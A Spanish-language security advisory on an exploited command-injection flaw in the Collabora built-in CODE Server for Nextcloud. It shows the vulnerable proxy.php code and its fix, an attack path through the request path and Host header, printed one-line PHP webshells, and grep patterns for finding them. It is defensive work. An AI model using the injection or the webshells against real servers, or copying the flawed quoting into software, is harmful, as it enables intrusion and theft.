RCE en Collabora CODE Server explotada en ataques reales (CVE-2026-110447)
Collabora califica CVE-2026-110447 como crítico, CVSS v4.0 9.2: un atacante no autenticado puede ejecutar comandos del sistema operativo como el usuario del servidor web mediante proxy.php de la aplicación Collabora Online Built-in CODE Server (richdocumentscode) para Nextcloud, en versiones anteriores a 26.4.303, cuando el servidor CODE integrado no está en ejecución. Corregido en la versión 26.4.303 de la aplicación. CISA lo añadió al catálogo KEV el 23 de octubre de 2026 y los administradores han comunicado ataques desde mediados de septiembre de 2026.
Resumen
- La aplicación «Collabora Online - Built-in CODE Server» para Nextcloud (paquete
richdocumentscode) ejecuta un pequeño proxy PHP, proxy.php, que inicia el servidor Collabora incluido mediante un comando de shell. En versiones anteriores a 26.4.303, el encabezado Host de la solicitud y, en HTTPS, su ruta llegan a ese comando de una forma queescapeshellarg()de PHP no protege. Así, una solicitud no autenticada puede ejecutar comandos del sistema operativo como el usuario del servidor web. - El ataque solo funciona mientras el servidor CODE integrado no está ejecutándose: tras reiniciar un contenedor, durante una actualización o después de una caída. No están afectados los servidores Collabora independientes, Collabora en Docker o en paquetes de distribución, ni los despliegues Nextcloud All-in-One.
- Collabora califica el fallo como crítico, CVSS v4.0 9.2. Se explota en ataques reales: CISA añadió CVE-2026-110447 al catálogo Known Exploited Vulnerabilities el 23 de octubre de 2026 con fecha límite del 26 de octubre de 2026, y los administradores comunicaron ataques desde el 10 de septiembre de 2026 que instalaron webshells PHP.
- Actualice la aplicación a 26.4.303 o posterior, o elimínela si no la utiliza. Collabora afirma que desactivarla no es suficiente.
¿Estoy afectado?
Está afectado si se cumplen todas estas condiciones:
- Su Nextcloud tiene instalada la aplicación «Collabora Online - Built-in CODE Server» (paquete
richdocumentscode). - La versión instalada es anterior a 26.4.303.
- El servidor CODE integrado puede estar detenido: en un reinicio, durante una actualización o tras una caída. La aplicación normalmente lo mantiene en ejecución, pero esa ventana es precisamente cuando se produce el ataque.
No está afectado si utiliza la aplicación conectora independiente richdocuments con un servidor Collabora externo, un servidor Collabora Online independiente, Collabora desde Docker o un paquete de distribución Linux, un servicio Collabora alojado o Nextcloud All-in-One.
| Despliegue | Versiones afectadas | Versión corregida |
|---|---|---|
Aplicación Collabora Online - Built-in CODE Server (richdocumentscode) |
< 26.4.303 | 26.4.303 (la rama estable actual es 26.4.502) |
| Collabora independiente, Docker o paquetes de distribución, Nextcloud All-in-One | No afectados | - |
Compruebe lo que está instalado. La versión de la aplicación se encuentra en su info.xml:
# Installed app version (adjust the path to your Nextcloud root)
grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml
# Is the app present at all? occ checks every app directory, including custom_apps/
sudo -u www-data php occ app:list | grep richdocumentscode
# Container image check
docker run --rm <your-image> grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml
La imagen oficial de Docker de Nextcloud instala las aplicaciones de App Store en custom_apps/ en lugar de apps/, por lo que debe ajustar las rutas anteriores. En la interfaz de administración de Nextcloud, la versión aparece en Aplicaciones, junto a «Collabora Online - Built-in CODE Server».
¿Cómo lo corrijo?
Actualice la aplicación desde Nextcloud App Store, en Aplicaciones de la interfaz de administración o con el comando occ (ejecútelo como el usuario del servidor web):
sudo -u www-data php occ app:update richdocumentscode
App Store ofrece 26.4.502 como canal estable para Nextcloud 30 a 35. Cualquier versión igual o posterior a 26.4.303 contiene la corrección.
Si utiliza un Nextcloud fuera de soporte (29 o anterior), la rama de App Store para esas versiones, 26.4.104, es anterior a la versión corregida. La instrucción de Collabora para ese caso es actualizar Nextcloud a una versión con soporte y después actualizar la aplicación, o eliminarla. Eliminar la aplicación es lo adecuado si no utiliza el servidor integrado.
Dos medidas que no funcionan como mitigación:
- Desactivar la aplicación. El aviso de Collabora lo dice claramente: «No basta con desactivar la aplicación para evitar el problema; debe actualizarse a >= 26.4.303 o eliminarse». El motivo es que proxy.php es un script independiente que el servidor web ejecuta directamente. No carga el framework de Nextcloud, por lo que nunca comprueba si la aplicación está activada, y el archivo sigue siendo accesible por HTTP mientras esté en disco.
- Mantener el servidor CODE en ejecución. Se detiene en cada reinicio, actualización y caída, y esas ventanas son la oportunidad de ataque.
¿Cuál es la causa raíz?
Inyección de comandos del sistema operativo significa que una entrada del atacante llega a un comando de shell y cambia lo que ejecuta. El punto de inyección es la función startCoolwsd() en proxy.php.
La aplicación CODE Server integrada distribuye Collabora como AppImage y lo inicia bajo demanda. Cuando llega una solicitud y el servicio Collabora local no está ejecutándose, proxy.php construye un comando de lanzamiento que incluye el encabezado Host de la propia solicitud y, en HTTPS, su ruta:
// proxy.php, startCoolwsd(), release 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
$remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
$remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);
Línea por línea:
$_SERVER['HTTP_HOST']es el encabezado Host de la solicitud entrante, totalmente controlado por el atacante.$_SERVER['REQUEST_URI']es la ruta y la consulta de la solicitud, también controladas por el atacante. En solicitudes HTTPS se introduce en$remoteFontConfig. Este es el vector observado en ataques reales: las solicitudes del informe de webshells colocan la sintaxis de shell en la ruta, como en/x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status.escapeshellarg()encierra cada valor entre comillas simples. Esto protege un valor utilizado como un argumento en un único comando de shell.- El resultado se interpola en
$launchCmd, una cadena entre comillas dobles que contienebash -c "( ... )". exec($launchCmd)entrega toda la línea al shell del sistema operativo.
El fallo está en la segunda capa de shell. Dentro del segmento bash -c "..." entre comillas dobles, las comillas simples añadidas por escapeshellarg() son caracteres literales sin capacidad de delimitación, y un shell vuelve a interpretar el segmento cuando el shell externo construye el argumento de bash. Un encabezado Host que contenga sintaxis de shell, como sustitución de comandos, sobrevive a las comillas simples y se interpreta en esa segunda pasada. Una decisión de entrecomillado pensada para un solo shell se reutilizó en un contexto con dos.
La corrección de 26.4.303 entrecomilla todo el comando interno en lugar de confiar en que sobreviva el entrecomillado de cada valor:
// proxy.php, startCoolwsd(), release 26.4.303
- $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
+ $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
+ $launchCmd = "bash -c " . escapeshellarg($innerCmd);
Ahora bash -c recibe todo el script de lanzamiento como un único argumento entrecomillado de forma segura, y nada de su interior, incluidos los valores del encabezado Host y la ruta de solicitud, vuelve a ser interpretado por un shell externo.
El aviso señala que esta no es la misma ruta que CVE-2025-66208 y que la corrección de aquel problema anterior no evita este.
¿Cómo se explota?
El aviso no adjunta una prueba de concepto, pero la ruta de explotación es corta y los informes de administradores describen su uso desde mediados de septiembre de 2026:
- La solicitud del atacante llega a proxy.php. El script acepta una consulta
statusy una consultareq=sin autenticación; es el punto de entrada de la aplicación para reenviar solicitudes al servidor Collabora integrado. - El servidor CODE integrado no está ejecutándose: el contenedor acaba de reiniciarse, hay una actualización en curso o el servidor sufrió una caída. proxy.php no puede abrir su socket local, por lo que llama a
startCoolwsd(). - La entrada del atacante, sintaxis de shell en la ruta de solicitud (como en los ataques reales comunicados) o en el encabezado Host, pasa por
escapeshellarg()y entra en la cadenabash -centre comillas dobles del comando de lanzamiento. exec($launchCmd)ejecuta la línea mediante el shell del sistema. El segmento entre comillas dobles se interpreta de nuevo, la sintaxis de shell del encabezado se ejecuta y el comando se ejecuta como el usuario del servidor web, normalmente www-data.- Con ejecución de comandos como el usuario del servidor web, el atacante escribe un webshell PHP en el directorio de la aplicación, atendido por el mismo servidor web. A partir de ahí, las solicitudes parecen tráfico PHP normal.
Flujo del ataque
con sintaxis de shell en ruta o Host"] --> B["Servidor CODE integrado detenido:
reinicio, actualización o caída"] B --> C["startCoolwsd() construye el
comando de lanzamiento bash -c"] C --> D["Ruta o Host con escapeshellarg
queda dentro de comillas dobles"] D --> E["El shell externo reinterpreta el segmento,
se ejecuta la sintaxis inyectada"] E --> F["Los comandos se ejecutan como
el usuario del servidor web"] F --> G["Se instala un webshell PHP
en el directorio de la aplicación"]
La comprobación ausente está entre D y E: nada vuelve a entrecomillar el encabezado Host o el valor de la ruta de solicitud para la segunda capa de shell.
¿Qué puede hacer un atacante?
Ejecutar comandos como el usuario del servidor web en el host Nextcloud. Los informes de administradores recopilados por BleepingComputer describen atacantes que utilizaron ese acceso para buscar bases de datos de contraseñas, artefactos de gestores de contraseñas y carteras de criptomonedas, e instalaron webshells PHP para persistencia. Algunos usuarios comunicaron actividad de ransomware, que BleepingComputer no pudo confirmar de forma independiente.
Las condiciones que necesita el ataque, todas habituales:
- La aplicación está instalada y es anterior a 26.4.303.
- El servidor CODE integrado no está ejecutándose en ese momento.
- proxy.php es accesible por red. El vector CVSS v4.0 es
AV:N/AC:L/AT:P/PR:N/UI:N, sin privilegios ni interacción del usuario; existen requisitos de ataque precisamente porque se necesita la ventana en que el servidor está detenido.
Los atacantes no necesitan una cuenta de Nextcloud. La entrada CISA KEV establece la fecha límite para organismos federales en el 26 de octubre de 2026, marca como desconocida la cuestión del ransomware y exige triaje forense conforme a BOD 26-04.
¿Por qué funciona la corrección?
El parche, visible en la comparación de 26.4.302 a 26.4.303, sustituye el entrecomillado de cada valor por el de todo el comando. escapeshellarg($innerCmd) convierte el script de lanzamiento en un único argumento de shell: todos los bytes aportados por el encabezado Host y la ruta de solicitud quedan dentro de ese argumento, y ningún shell externo los interpreta como sintaxis. La corrección cubre ambos valores controlados por el atacante: el encabezado Host en $lok_allow y la URL de configuración de fuentes remotas en $remoteFontConfig, construida a partir del encabezado Host y la ruta de solicitud (REQUEST_URI). Ambos viajan dentro de $innerCmd, por lo que los protege el mismo entrecomillado.
Permanece una salvedad: la aplicación sigue iniciando un binario grande con exec() a partir de una solicitud web. Ese diseño explica la importancia del error, pero el entrecomillado corregido elimina la influencia del atacante sobre el comando.
¿Cómo compruebo si he sufrido una intrusión?
Collabora y CISA no han publicado indicadores de compromiso aparte de los informes de ataques recogidos en noticias y foros. Según esos informes:
- Busque archivos PHP inesperados dentro del directorio de la aplicación. El informe de webshells del gestor de incidencias de richdocumentscode enumera archivos llamados
shx*.phpyshrf*.php(por ejemploshxa35d0.phpyshrf4645.php) que contienen<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');. La comprobación de integridad de Nextcloud de un administrador detectó un archivo adicional,Nx_33143.php, enapps/richdocumentscode/, con un webshell de una línea:<?php system($_GET[c]);. Ejecute la comprobación de integridad en la configuración de Administración o examine directamente la carpeta de la aplicación:
# Unexpected PHP files in the app folder (apps/ or custom_apps/)
find apps/richdocumentscode custom_apps/richdocumentscode -name '*.php' 2>/dev/null | sort
# The reported webshell file names
find apps/richdocumentscode custom_apps/richdocumentscode \( -name 'sh*.php' -o -name 'Nx_*.php' \) 2>/dev/null
# The reported webshell patterns
grep -rlE 'system\(\$_GET|shell_exec\(' apps/richdocumentscode/ custom_apps/richdocumentscode/ 2>/dev/null
- Revise los registros de acceso del servidor web desde el 10 de septiembre de 2026, la fecha más antigua de los informes de administradores, en busca de solicitudes a proxy.php, incluidas solicitudes
proxy.php?status, solicitudes cuya ruta contenga sintaxis de shell como$((los ataques comunicados utilizaron rutas como/x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status) y solicitudes cuyos valores de encabezado Host no sean su dominio. - Dé por expuestos los secretos que puede leer el usuario del servidor web: la contraseña de la base de datos en config.php, contraseñas de aplicaciones y cualquier dato de los directorios accesibles. Rótelos.
Cronología
- 9 de septiembre de 2026: Collabora incorpora la corrección.
- 10 de septiembre de 2026: tráfico de ataque más antiguo de los informes de administradores.
- 11 de septiembre de 2026: se publica richdocumentscode 26.4.303, según su registro de cambios.
- 3 de octubre de 2026: se publica en el foro de Nextcloud una advertencia comunitaria sobre explotación en curso.
- 14 de octubre de 2026: Collabora publica el aviso GHSA-g3vx-3m76-fghh y se publica CVE-2026-110447. El mismo fallo también se registra como GHSA-F97P-R72Q-64H2 para el paquete richdocumentscode.
- 15 de octubre de 2026: BleepingComputer informa de los ataques y del mes transcurrido entre la corrección y el aviso.
- 23 de octubre de 2026: CISA añade CVE-2026-110447 al catálogo KEV, con fecha límite del 26 de octubre de 2026.
- 24 de octubre de 2026: este artículo. La inclusión en KEV confirma la explotación en ataques reales.
Preguntas frecuentes
¿Están afectados el servidor Collabora independiente o la aplicación richdocuments?
No. El fallo está en proxy.php de la aplicación CODE Server integrada, que existe para iniciar la AppImage incluida. No están afectados los servidores Collabora Online independientes, Collabora en Docker o paquetes de distribución, los servicios Collabora alojados ni los despliegues Nextcloud All-in-One.
He desactivado la aplicación. ¿Estoy protegido?
No. El aviso de Collabora es explícito: desactivar la aplicación no basta; debe actualizarse a 26.4.303 o posterior, o eliminarse. Actualícela o elimínela.
¿Es el mismo fallo que CVE-2025-66208?
No. El aviso afirma que no es la misma ruta que el anterior CVE-2025-66208 y que su corrección no evita este problema. El parche 26.4.303 es necesario aunque haya aplicado la corrección anterior.
¿Por qué tardó un mes en aparecer el CVE?
La corrección se publicó el 11 de septiembre de 2026, y el aviso y el CVE el 14 de octubre de 2026. Collabora atribuyó el retraso principalmente a la acumulación de trabajo de procesamiento de CVE en GitHub, agravada por el creciente volumen de informes de seguridad generados con IA; Nextcloud afirmó que ese intervalo dio tiempo a los usuarios para actualizar. Los atacantes no esperaron: los informes de administradores describen ataques desde el 10 de septiembre.
Mi instancia utiliza un Nextcloud fuera de soporte. ¿Qué hago?
La rama de App Store para Nextcloud 29 y anteriores, 26.4.104, es anterior a la versión corregida, por lo que actualizar allí la aplicación no resuelve el problema. Actualice Nextcloud a una versión con soporte y después la aplicación, o elimine por completo la aplicación.
¿Cómo confirmo que la aplicación ejecuta una versión corregida?
Compruebe en apps/richdocumentscode/appinfo/info.xml que la versión sea igual o posterior a 26.4.303, o lea la versión en la pantalla Aplicaciones de la interfaz de administración. La rama estable actual para versiones de Nextcloud con soporte es 26.4.502.
Utilice Ostorlab para escanear sus activos web e identificar las versiones de Nextcloud y Collabora que exponen, incluidas las instancias que aún ejecutan la aplicación afectada.
Referencias
- Aviso de Collabora GHSA-g3vx-3m76-fghh: https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh (consultado el 24 de octubre de 2026)
- Entrada del catálogo CISA KEV para CVE-2026-110447, añadida el 23 de octubre de 2026, con fecha límite del 26 de octubre de 2026: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consultado el 24 de octubre de 2026)
- Diff de corrección, richdocumentscode 26.4.302 a 26.4.303: https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303 (consultado el 24 de octubre de 2026)
- proxy.php vulnerable en la etiqueta 26.4.302: https://raw.githubusercontent.com/CollaboraOnline/richdocumentscode/26.4.302/proxy.php (consultado el 24 de octubre de 2026)
- BleepingComputer, «Atacantes explotan un fallo RCE de Collabora para instalar puertas traseras en servidores Nextcloud», 15 de octubre de 2026: https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/ (consultado el 24 de octubre de 2026)
- Advertencia del foro de Nextcloud con el informe de webshells: https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 (consultado el 24 de octubre de 2026)
- Incidencia con el informe de webshells: https://github.com/CollaboraOnline/richdocumentscode/issues/354 (consultado el 24 de octubre de 2026)
- Registro CVE-2026-110447: https://nvd.nist.gov/vuln/detail/CVE-2026-110447 (consultado el 24 de octubre de 2026)
- Página de richdocumentscode en Nextcloud App Store: https://apps.nextcloud.com/apps/richdocumentscode (consultado el 24 de octubre de 2026)